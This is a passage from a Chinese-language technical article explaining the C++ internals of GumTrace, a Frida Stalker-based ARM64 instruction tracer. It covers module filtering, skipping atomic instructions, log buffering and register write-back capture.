rgb(0, 122, 204);"><span leaf="">c_str</span></span><span leaf="">(), </span><span style="color: rgb(0, 0, 255);"><span leaf="">module</span></span><span leaf="">.</span><span style="color: rgb(0, 122, 204);"><span leaf="">at</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;base&#34;</span></span><span leaf="">));</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">gum_stalker_iterator_put_callout</span></span><span leaf="">(it, callout_callback,</span><br/><span leaf="">                                              callback_ctx, </span><span style="color: rgb(163, 21, 21);"><span leaf="">nullptr</span></span><span leaf="">);</span><br/><span leaf="">        }</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">gum_stalker_iterator_keep</span></span><span leaf="">(it);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="461" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这段代码的执行流程：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">逐条迭代</span></strong><p><span leaf="">：Stalker将目标代码块的每条ARM64指令通过Capstone反汇编后交给迭代器。</span></p></li><li style=""><strong><span leaf="">模块过滤</span></strong><p><span leaf="">：通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">in_range_module</span></code><span leaf="">检查指令地址是否属于目标模块。不属于的指令直接</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">keep</span></code><span leaf="">（保留原样）。</span></p></li><li style=""><strong><span leaf="">原子指令跳过</span></strong><p><span leaf="">：LSE（Large System Extensions）原子指令和独占加载/存储指令不能被插桩，否则会破坏原子性导致死锁。</span></p></li><li style=""><strong><span leaf="">插入callout</span></strong><p><span leaf="">：对需要追踪的指令，通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">gum_stalker_iterator_put_callout</span></code><span leaf="">在其前方插入一个回调点。</span></p></li></ol><h3 data-line="468" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.2 模块查找优化</span></h3><p data-line="470" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">in_range_module</span></code><span leaf="">使用了一层缓存来加速查找：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="472" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> std::string *</span><span style="color: rgb(128, 128, 128);"><span leaf="">GumTrace::in_range_module</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> address)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 缓存命中——连续指令几乎必然在同一模块</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (last_module_cache.name != </span><span style="color: rgb(163, 21, 21);"><span leaf="">nullptr</span></span><span leaf=""> &amp;&amp;</span><br/><span leaf="">        address &gt;= last_module_cache.base &amp;&amp;</span><br/><span leaf="">        address &lt; last_module_cache.end) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> last_module_cache.name;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 遍历所有模块</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> &amp;pair: modules) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> &amp;module_map = pair.second;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> base = module_map.</span><span style="color: rgb(0, 122, 204);"><span leaf="">at</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;base&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> size = module_map.</span><span style="color: rgb(0, 122, 204);"><span leaf="">at</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;size&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> end = base + size;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (address &gt;= base &amp;&amp; address &lt; end) {</span><br/><span leaf="">            last_module_cache = {&amp;pair.first, base, end};</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> &amp;pair.first;</span><br/><span leaf="">        }</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="496" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">由于代码的空间局部性，连续执行的指令几乎总是在同一个模块中。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CachedModule</span></code><span leaf="">缓存使得绝大多数查找只需一次比较即可完成。</span></p><h3 data-line="498" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.3 原子指令检测</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="500" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">is_lse</span></span><span style="color: inherit;"><span leaf="">(cs_insn *insn)</span></span></span><span leaf="">;</span><br/><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">is_exclusive_load</span></span><span style="color: inherit;"><span leaf="">(cs_insn *insn)</span></span></span><span leaf="">;</span></code></pre><p data-line="505" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ARM64的原子操作指令包括两类：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">LSE原子指令</span></strong><p><span leaf="">：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldadd</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldclr</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldset</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldeor</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">swp</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cas</span></code><span leaf="">等，以及它们的各种宽度变体（b/h/l/al）。</span></p></li><li style=""><strong><span leaf="">独占加载/存储</span></strong><p><span leaf="">：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldxr</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">stxr</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldaxr</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">stlxr</span></code><span leaf="">等成对使用的指令。</span></p></li></ul><p data-line="510" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这些指令依赖硬件的原子性保证来正确工作。如果在它们之间插入callout回调，会破坏独占监视器（exclusive monitor）的状态，导致无限重试或死锁。GumTrace在transform阶段识别并跳过这些指令，是保障稳定性的关键措施。</span></p><h2 data-line="512" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7 Callout回调：指令级记录</span></h2><p data-line="514" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">callout_callback</span></code><span leaf="">是每条指令执行前调用的核心函数，它完成寄存器值读取、内存地址计算和日志写入。源码位于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/GumTrace.cpp</span></code><span leaf="">。</span></p><h3 data-line="516" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7.1 缓冲区管理</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="518" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *buff = self-&gt;buffer;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> &amp;buff_n = self-&gt;buffer_offset;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (buff_n &gt; BUFFER_SIZE - </span><span style="color: rgb(0, 128, 0);"><span leaf="">1024</span></span><span leaf="">) {</span><br/><span leaf="">    self-&gt;trace_file.</span><span style="color: rgb(0, 122, 204);"><span leaf="">write</span></span><span leaf="">(buff, buff_n);</span><br/><span leaf="">    buff_n = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="528" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace使用一个50MB的内存缓冲区（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BUFFER_SIZE = 1024 * 1024 * 50</span></code><span leaf="">）来减少文件I/O次数。所有的日志内容先写入缓冲区，当剩余空间不足1KB时才一次性刷写到文件。这种批量写入策略极大地降低了系统调用的开销。</span></p><h3 data-line="530" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7.2 写回寄存器处理</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="532" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (self-&gt;write_reg_list.num &gt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; self-&gt;write_reg_list.num; i++) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">__uint128_t</span></span><span leaf=""> reg_value = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (Utils::</span><span style="color: rgb(0, 122, 204);"><span leaf="">get_register_value</span></span><span leaf="">(self-&gt;write_reg_list.regs[i],</span><br/><span leaf="">                                       cpu_context, reg_value)) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (i == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) Utils::</span><span style="color: rgb(0, 122, 204);"><span leaf="">append_string</span></span><span leaf="">(buff, buff_n, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;-&gt; &#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 写入寄存器名和值</span></span><br/><span leaf="">        }</span><br/><span leaf="">    }</span><br/><span leaf="">    Utils::</span><span style="color: rgb(0, 122, 204);"><span leaf="">append_char</span></span><span leaf="">(buff, buff_n, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;\n&#39;</span></span><span leaf="">);</span><br/><span leaf="">    self-&gt;write_reg_list.num = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="547" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这段代码利用了一个精妙的时序差：</span><strong><span leaf="">当前指令的callout执行时，前一条指令已经执行完毕</span></strong><span leaf="">。因此可以在当前callout中读取前一条指令的写目标寄存器值。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">write_reg_list</span></code><span leaf="">记录了前一条指令的写目标寄存器列表，在当前callout中读取这些寄存器的当前值，就是前一条指令的执行结果。</span></p><h3 data-line="549" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7.3 操作数解析与内存地址计算</span></h3><p data-line="551" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">callout回调的核心是一个对Capstone反汇编结果的多分支遍历，根据操作数的访问类型（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CS_AC_READ</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CS_AC_WRITE</span></code><span leaf="">）和类型（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ARM64_OP_REG</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ARM64_OP_MEM</span></code><span leaf="">）分别处理：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="553" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 